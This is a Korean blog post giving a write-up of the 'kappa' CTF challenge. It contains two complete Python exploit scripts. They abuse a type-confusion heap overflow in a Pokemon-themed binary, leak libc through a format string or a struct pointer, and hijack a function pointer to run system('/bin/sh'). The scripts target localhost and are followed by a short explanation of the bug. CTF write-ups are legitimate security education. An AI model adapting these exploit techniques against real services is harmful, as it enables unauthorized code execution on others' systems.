본문 바로가기

CTF/Problems

kappa write up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/python
 
from socket import *
from struct import *
from time   import *
 
= lambda x : pack("<L",x)
 
printf_plt = 0x08048520
libc_start_main_got = 0x080485d2
libc_start_main_off = 0x19990
system = 0
system_off = 0x40190
libc = 0
 
"""
STRUCTURE
char name[15]   <---- argument of printf/system
char artwork[]
int health
int attack_power
int * attack
int * inf_pokemon() <---- leak/pwn printf/system
"""
 
def get_pokemons():
    print "[*] Getting pokemons"
    for i in range(4):
        s.send("1\n")
        sleep(4.5);s.recv(1024)
        s.send("1\n")
        sleep(4.5);s.recv(1024)
        s.send("2\n1\n")
        sleep(4.5);s.recv(1024)
        print "[+] Got %d/4"%(i+1)
 
def get_charizard(arg):
    buf = ""
    print "[*] Getting Charizard"
    while 1:
        s.send("1\n")
        sleep(4.5)
        buf = s.recv(1024)
        if buf.find("Charizard"!= -1:
            print "[+] charizard Found"
            s.send("1\n1\n1\n1\n")
            sleep(0.3);s.recv(1024)
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            s.send(arg+"\n")
            sleep(0.3);s.recv(1024)
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            print "[+] Got Charizard"
            break
        elif buf.find("failed"!= -1:
            continue
        else:
            s.send("3\n")
            sleep(0.3);s.recv(1024)
 
def taint_charizard(inf_pokemon):
    payload = ""
    payload += "A"*513
    payload += p(inf_pokemon)
    payload += "B"*(2152-len(payload)-25)
    print "[*] Payload Generated"
    print "[*] Insert Payload"
    s.send("5\n")
    sleep(0.3);s.recv(1024)
    s.send("2\n")
    sleep(0.3)
    s.send(payload+"\n")
    sleep(0.3);s.recv(1024)
    print "[*] Payload Inserted"
 
def leak(leak_m):
    buf = ""
    sleep(2)
    buf = s.recv(1024)
    print buf
    leak = buf[buf.find(leak_m)+len(leak_m):]
    print leak
    leak = int(leak[:8],16)
    print "[+] Leaked    : %08x"%leak
    libc = leak - libc_start_main_off - 243
    system = libc + system_off
    print "[+] libc        : %08x"%libc
    print "[+] system    : %08x"%system
    return system
 
= socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',54545))
 
get_pokemons()
get_charizard("LEAK:%23$08x")
taint_charizard(printf_plt)
 
print "[*] Bug Trigger"
s.send("3\n")
sleep(0.5);s.recv(1024)
 
system = leak("LEAK:")
sleep(0.3)
 
get_charizard("/bin/sh")
taint_charizard(system)
sleep(0.3)
 
print "[*] Bug Trigger"
s.send("3\n")
sleep(0.5)
 
s.send("echo Kappa_Pwned > /home/bc/kappapwn\n")
sleep(0.3)
 
s.close()

cs

Kappa_exploit1.py

이 exploit 코드는 printf call을 이용한 fsb로 __libc_start_main+243을 릭 하여 주소를 계산합니다 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/python
 
from socket import *
from struct import *
from time   import *
 
= lambda x : pack("<L",x)
 
inf_pokemon = 0x08048766
 
libc_start_main_got = 0x080485d2
libc_start_main_off = 0x19990
 
system = 0
system_off = 0x40190
 
libc = 0
 
"""
STRUCTURE
char name[15]
char artwork[]
int health
int attack_power
int * attack         <----- LEAK
int * inf_pokemon()    <----- HACK
"""
 
def get_pokemons():
    print "[*] Getting Pokemons"
    for i in range(4):
        s.send("1\n")
        sleep(4.5);s.recv(1024)
        s.send("1\n")
        sleep(4.5);s.recv(1024)
        s.send("2\n1\n")
        sleep(0.3);s.recv(1024)
        print "[+] Got %d/4"%(i+1)
 
def get_charizard():
    buf = ""
    print "[*] Getting Charizard"
    while 1:
        s.send("1\n")
        sleep(4.5)
        buf = s.recv(1024)
        if buf.find("Charizard"!= -1:
            print "[+] Charizard Found"
            s.send("1\n1\n1\n1\n")
            sleep(0.3);s.recv(1024)
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            s.send("/bin/sh\n")
            sleep(0.3);s.recv(1024)
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            print "[+] Got Charizard"
            break
        elif buf.find("failed"!= -1:
            continue
        else:
            s.send("3\n")
            sleep(0.3);s.recv(1024)
 
def taint_charizard(attack,inf_pokemon):
    payload = ""
    payload += "A"*509
    payload += p(attack)
    payload += p(inf_pokemon)
    payload += "B"*(2152-len(payload)-25)
    print "[*] Payload Generated"
    print "[*] Insert Payload"
    s.send("5\n")
    sleep(0.3);s.recv(1024)
    s.send("2\n")
    sleep(0.3)
    s.send(payload+"\n")
    sleep(0.3);s.recv(1024)
    print "[*] Payload Inserted"
 
def leak():
    buf = ""
    sleep(2)
    buf = s.recv(2048*5)
    buf = buf[buf.find("1094795585"):]
    #print buf
    buf = buf[buf.find("Attack: ")+8:buf.find("Name:")-1]
    #print buf,len(buf)
    leaked = unpack("<L",buf[:4])[0]
    print "[+] Leaked : %08x"%leaked
    #leaked2= unpack("<L",buf[4:])[0]
    #print "[+] Leaked : %08x"%leaked2
 
    libc = leaked - libc_start_main_off
    system = libc + system_off
 
    print "[+] libc   : %08x"%libc
    print "[+] system : %08x"%system
    return system
 
def reset():
    s.send("4\n")
    sleep(0.3);s.recv(1024)
    s.send("2\n")
    sleep(0.3);s.recv(1024)
    while 1:
        s.send("1\n")
        sleep(4.5)
        buf = s.recv(1024)
        if buf.find("Charizard"!= -1:
            s.send("3\n");
            sleep(0.3);s.recv(1024)
        elif buf.find("failed"!= -1:
            continue    
        else:
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            s.send("/bin/sh\n")
            sleep(0.3);s.recv(1024)
            s.send("2\n")
            sleep(0.3);s.recv(1024)
            break
    
 
= socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',54545))
 
get_pokemons()
get_charizard()
taint_charizard(libc_start_main_got,inf_pokemon)
 
print "[*] Bug Trigger"
s.send("3\n")
sleep(0.5);s.recv(1024)
 
system = leak()
sleep(0.3)
 
reset()
 
get_charizard()
taint_charizard(0x41414141,system)
sleep(0.3)
 
print "[*] Bug Trigger"
s.send("3\n")
sleep(0.5)
 
s.send("echo Kappa_Pwned2 > /home/bc/kappapwn2\n")
sleep(0.3)
 
s.close()
cs


Kappa_exploit2.py

이 코드는 pokemon 구조체의 * attack을 이용하여 릭 한 후 system 주소를 계산 합니다.



우선 이 문제 시간 엄청 들였음...

엄청 사소한 코딩 실수 한개 때문에 젤 처음에 하던 코드도 안되고 ㅠㅠ 거기서 좀 더 삽질 하면 찾을 수 있었을텐데.


아무튼 해당 버그는 type confuse임. 포켓몬을 잡고 자리가 없으면 어느 포켓몬과 자리를 바꿀지 물어 보는데, 이때 type confuse가 일어남. 왜냐하면 pokemon 구조체의 artwork의 사이즈를 규격화 시켜 놓지 않아서 각각의 포켓몬마다 artwork의 사이즈에 따라 malloc의 크기가 결정 되는데, 포켓몬을 잡고 저장 할 때는 해당 포켓몬이 어떤 포켓몬인지 type을 따로 다른곳에 저장함. 근데 어느 포켓몬과 자리를 바꿀 때에는, type을 바꾸지 않고 그냥 포켓몬의 내용만 바꿔 버림. 그래서 작은 크기의 사이즈가 정해져 있는 포켓몬을 큰 사이즈가 정해져 있는 포켓몬으로 대체 해버리면 type confuse를 이용한 overflow를 통해 artwork 변경으로 eip 조작 가능.


첫번째 익스플로잇은 내가 제일 처음 짠 익스플로잇.

함수 내에서 system 계산을 해 주고 return을 안해줘서(전역 변수로 안해줘서) 익스플로잇이 말을 안들었음 ㅠㅠ

이것때문에 두번째 익스플로잇을 짜게 됨

어쨌건, 첫번째 익스플로잇은 call eax를 이용하여 __libc_start_main을 릭 하는데, printf주소를 inf_pokemon()과 대체 하고, esp+4에 해당 포켓몬의 이름이 있길래, 그 포켓몬의 이름에 포맷 스트링을 넣어 줌. 그러면 23번째애가 __libc_start_main+243인데 얘를 릭 해서 오프셋을 빼고, 243을 빼면 libc_main 주소가 나옴 ㅇㅇ.

그리고 그냥 system 실행 하면 됨.


두번째 익스플로잇은 6시간 삽질하고 검색 해서 만든 익스플로잇 ^^

진짜 짜증나는게 코딩 실수...

여러분 코딩 실수 하지 맙시다

'CTF > Problems' 카테고리의 다른 글

[문서] Return to syscall + H3X0R CTF libsteak write up  (1) 2018.06.16
0ctf 2017 babyheap  (0) 2018.01.18
cookbook  (0) 2016.11.13
mynx writeup  (0) 2016.07.18